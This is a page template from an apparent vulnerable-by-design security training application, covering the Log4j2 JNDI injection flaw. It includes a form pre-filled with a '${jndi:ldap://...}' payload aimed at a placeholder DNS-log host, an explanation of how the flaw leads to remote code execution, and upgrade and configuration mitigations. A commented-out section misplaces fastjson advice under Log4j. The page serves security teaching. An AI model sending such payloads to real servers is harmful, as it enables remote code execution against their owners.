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                    <legend>
                        <a style="color: rgb(30 159 255)" class="log4j">组件漏洞 - Log4j2反序列化</a>
                    </legend>
                    <blockquote class="layui-elem-quote layui-quote-nm"
                                style="font-size: 15px;background-color: #a7deefab;box-shadow: 0 .125rem .25rem rgba(0, 0, 0, .075) !important">
                        <p>
                        <pre>  log4j是开源的日志记录框架，用于记录程序输入输出日志信息，log4j2中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞，成功利用该漏洞可在目标服务器上执行任意代码。</pre>
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                        <h1><span class="iconfont icon-bug"> 漏洞场景</span></h1>
                        <div class="layui-tab layui-tab-brief">
                            <div class="layui-tab-content">
                                <div class="layui-tab-item layui-show">
                                    <blockquote class="layui-elem-quote main_btn">
                                        <form class="layui-form" id="vul-log4j2-form" th:action="@{/log4j2/vul}" method="post"
                                              style="display: flex; justify-content: space-between;">
                                            <input type="text" style="width: 450px;" name="payload"
                                                   value='${jndi:ldap://此处替换为dnslog地址/test}'
                                                   autocomplete="off"
                                                   class="layui-input" id="vul-log4j2-input">
                                            <div style="display: flex; align-items: center;">
                                                <button class="layui-btn layui-btn-normal"
                                                        style="width: 100px; margin-left: 10px;"
                                                        lay-filter="vul-log4j2-submit" lay-submit="">
                                                    <span class="iconfont icon-zhihang">Run</span>
                                                </button>
                                            </div>
                                        </form>
                                    </blockquote>
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                                <div class="layui-col-md12">
                                    <div class="layui-card">
                                        <div class="layui-card-header"><i class="fa fa-bullhorn icon-tip"></i>tips</div>
                                        <div class="layui-card-body layui-text layadmin-text">
                                            <pre style="color: #28333e;font-size: 15px;">漏洞原理：
  log4j2在日志输出中，一旦在log字符串中检测到${}，就会调用lookup查询尝试解析其中的字符串，如果未对字符合法性进行严格的限制，攻击者构造恶意的URL地址让其解析，利用 JNDI协议加载的远程恶意脚本，从而造成RCE。
安全编码规范：
升级方案：升级Log4j至2.15.0及以上稳定版本
临时缓解：修改配置文件log4j2.component.propertieslog4j2.formatMsgNoLookups=True</pre>
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                    <div class="layui-col-md6">
                        <h1><span class="iconfont icon-code"> 缺陷代码</span></h1>
                        <div class="m-auto div-shadow shadow p-3 mb-5 bg-white rounded">
                            <div class="code-editor" id="vulLog4j2"></div>
                        </div>
                    </div>
                </div>
            </div>

<!--            <div class="layui-col-md12" style="margin-top: 10px">-->
<!--                <div class="layui-row layui-col-space15">-->
<!--                    <div class="layui-col-md6">-->
<!--                        <h1><span class="iconfont icon-anquan"> 安全场景</span></h1>-->
<!--                        <div class="layui-tab layui-tab-brief">-->
<!--                            <div class="layui-tab-content">-->
<!--                                <div class="layui-tab-item layui-show">-->
<!--                                    <blockquote class="layui-elem-quote main_btn">-->
<!--                                        <form class="layui-form" id="safe-fastjson-form" th:action="@{/log4j2/vul}" method="post"-->
<!--                                              style="display: flex; justify-content: space-between;">-->
<!--                                            <input type="text" style="width: 450px;" name="payload"-->
<!--                                                   value='${jndi:ldap://此处替换为dnslog地址/test}'-->
<!--                                                   autocomplete="off"-->
<!--                                                   class="layui-input" id="safe-log4j2-input">-->
<!--                                            <div style="display: flex; align-items: center;">-->
<!--                                                <button class="layui-btn layui-btn-normal"-->
<!--                                                        style="width: 100px; margin-left: 10px;"-->
<!--                                                        lay-filter="safe-log4j2-submit" lay-submit="">-->
<!--                                                    <span class="iconfont icon-zhihang">Run</span>-->
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<!--                                    <div class="layui-card">-->
<!--                                        <div class="layui-card-header"><i class="fa fa-bullhorn icon-tip"></i>tips</div>-->
<!--                                        <div class="layui-card-body layui-text layadmin-text">-->
<!--                                            <pre style="color: #28333e;font-size: 15px;">安全编码规范:-->
<!--    1、升级版本至1.2.83及以上-->
<!--    2、禁用AutoType或者是设置特定类白名单进行反序列化-->
<!--    3、使用SafeMode模式-->
<!--    4、使用@JSONType注解限制类的反序列化</pre>-->
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<!--                                        <div class="layui-card-header"><i class="fa fa-warning icon-output"></i>测试结果-->
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<!--                                        <div class="layui-card-body layui-text layadmin-text">-->
<!--                                            <pre id="safe-log4j2-result" style="color: red;font-size: 15px;"></pre>-->
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<!--                    <div class="layui-col-md6">-->
<!--                        <h1><span class="iconfont icon-code"> 安全代码</span></h1>-->
<!--                        <div class="m-auto div-shadow shadow p-3 mb-5 bg-white rounded">-->
<!--                            <div class="code-editor" id="safeLog4j2"></div>-->
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</div>

<div th:replace="~{common/common::script}"></div>
<script type="text/javascript">
    document.addEventListener("DOMContentLoaded", function () {

        layui.use(['layer', 'miniTab', 'common', 'form'], function () {
            var $ = layui.jquery,
                layer = layui.layer,
                miniTab = layui.miniTab,
                common = layui.common,
                form = layui.form;

            miniTab.listen();
            layer.msg("组件漏洞 - Log4j2反序列化");

            var cmConfig = {
                lineNumbers: true,
                lineWrapping: false,
                indentUnit: 4,
                indentWithTabs: true,
                theme: 'juejin',
                styleActiveLine: {nonEmpty: true},
                fontSize: "18px",
                mode: "text/x-java"
            };

            var cmConfigSafe = {
                lineNumbers: true,
                lineWrapping: false,
                indentUnit: 4,
                indentWithTabs: true,
                theme: 'juejinsafe',
                styleActiveLine: {nonEmpty: true},
                fontSize: "18px",
                mode: "text/x-java"
            };

            CodeMirror(document.getElementById("vulLog4j2"), Object.assign({}, cmConfig, {
                value: vulLog4j2
            }));
            CodeMirror(document.getElementById("safeLog4j2"), Object.assign({}, cmConfigSafe, {
                value: safeLog4j2
            }));

        });

        $('.log4j').hover(function () {
            $(this).css('cursor', 'pointer');
            layer.tips('攻击流程图', this, {
                tips: [1, '#0051ff'],
                time: 2000
            });
        });

        $('.log4j').on('click', function () {
            layer.open({
                type: 1,
                title: false,
                closeBtn: 1,
                area: ['1116px', '572px'], // 宽高可以根据需要调整
                shadeClose: true,
                content: '<div style="text-align: center;"><img src="/static/images/vul/components/log4j.png" style="width: 100%; height: 50%;"></div>'
            });
        });

    });
</script>

</body>
</html>
